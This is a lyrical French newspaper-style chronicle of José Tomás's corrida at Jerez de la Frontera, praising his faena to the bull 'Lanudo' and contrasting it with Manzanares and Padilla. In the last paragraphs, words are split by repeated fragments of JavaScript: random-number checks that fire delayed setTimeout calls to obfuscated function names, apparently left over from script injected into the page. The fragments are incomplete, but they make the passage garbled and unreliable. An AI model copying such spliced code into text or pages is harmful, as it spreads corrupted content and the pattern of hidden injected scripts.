JOSÉ TOMÁS : MYSTÈRE INSONDABLE DE LA TAUROMACHIE

Sous un ciel de mercure, incrusté de nuages, habitaient les ombres, qui sont les fontaines d’où vient le mystère. En dessous, sur le sable brun de l’arène, un mystère vert espérance et or déployait la lumière de son miracle face à la demi-lune en pointes d’un toro noble et vif de Nuñez del Cuvillo.

Un mystère lumineux dilapidant son énigme sur de multiples miroirs : mystère dans son pouvoir d’attraction, qui rend nomade la personne sédentaire, amenuise les distances des voyages, et réduit la valeur de l’argent qui sort de nos poches en quête d’une entrée ; mystère pour parler depuis le silence, utilisant un langage de gestes et d’attitudes où le mensonge n’a pas sa place ; mystère pour troque la mort en une douce compagnie, pour la transformer en art ; mystère pour des arènes une église ; et de la tauromachie une liturgie sacrée, solennelle et recueillie ; mystère pour ouvrir dans le vent des trajectoires de quiétude, pour qu’en elles les différentes passes s’exécutent lentement, tranquillement, proprement, avec de la pureté et brillantes ; mystère pour nous amener aux abîmes des profondeurs de l’âme humaine et du torero ; manière dans sa façon de dompter le temps, d’insérer les instants sur un fil de pure éternité ; mystère pour faire de l’espace du risque un lieu habitable où les oiseaux de l’inspiration peuvent nous faire entendre leur mélodie ; mystère pour délivrer la tauromachie de la routine encrassée et populiste pour élever la splendeur jusqu’à l’étonnement de ce qui est inexplicable…

Car le mystère demeure au-delà du monde rationnel, parce qu’il est inaccessible à la raison, je me refuse d’essayer d’expliquer avec des syllogismes ce que fit José Tomás, vert espérance et or, le 7 mai dernier dans les arènes de Jérez de la Frontera. Ce qu’il advint fut tout simplement ceci : la floraison multiple du mystère, que ce torero porte dans son âme et qu’il est capable de faire ressortir devant les toros pour que la tauromachie devienne autre chose, pour que le public sache que c’est autre chose, pour que le courage soit autre chose, et la prestance, la toreria et cette manière de plonger les naturelles dans un puits sans fin, et cette caresse qui transforme en brise ce qui nait de l’ouragan, comment il y parvint avec l’âpre et mal fait toro sorti en cinquième : version dominatrice, vaillante et exemplaire, après ce qui avait été à son premier le poème le plus parfait du toreo naturel que j’ai vu de ma vie.

José Tomás a réussi à faire de son toreo une machinerie d’horlogerie ajustée et précise, capable de synchroniser et de mettre au diapason ses engrenages dans un équilibre où rien n’est de trop et rien ne manque. De la quiétude somnambule de ses chaussons jusqu’au léger mouvement de poignet qui finalise l’œuvre de chaque passe, tout est coordonnée sous le canon patricien de l’élégance suprême. Mais ce n’est pas tout : c’est uniquement l’enveloppe, car dans le fond vibre ce feu ardent et déchirant de sa sensibilité, qui arrache les larmes de l’émotion des yeux les plus secs et dresse les poils des plus impassibles. Devant son premier c’était une apothéose qui passera aux annales des arènes de Jérez dans le cadre d’honneur des fastes indélébiles. On l’a récompensé justement avec les deux oreilles et la queue du toro, et même le tour de piste que ce dernier reçut il faudrait aussi le mettre à son compte car lors de cette corrida il y eut des toros meilleurs que celui-ci et le public n’a même pas pensé à les demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ander pour eux. Il aurait aussi pu couper une grosse oreille confronté aux mauvaises manières, la brusquerie du manso sorti en cinquième. Oreille avec plus de poids que les quatre que partagèrent, par lots de deux, les deux autres toreros à l’affiche, car on n’en gardera pas un grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and souvenir, comme nous pourrons le constater bientôt. Que les chiffres ne nous trompent pas. Cette fois l’arithmétique ne sert pas. Alors que la faena de José Tomás à « Lanudo » résistera au temps qui passe, celles de Manzanares et de Padilla on ne s’en souviendra plus dans trois jours. En résumé : après vingt mois d’absence des arènes espagnoles, José Tomás est revenu avec une force colossale pour nous surprendre face au mystère insondable de la tauromachie : ce mystère né du silence, qui n’est autre que l’immense cri de son âme.

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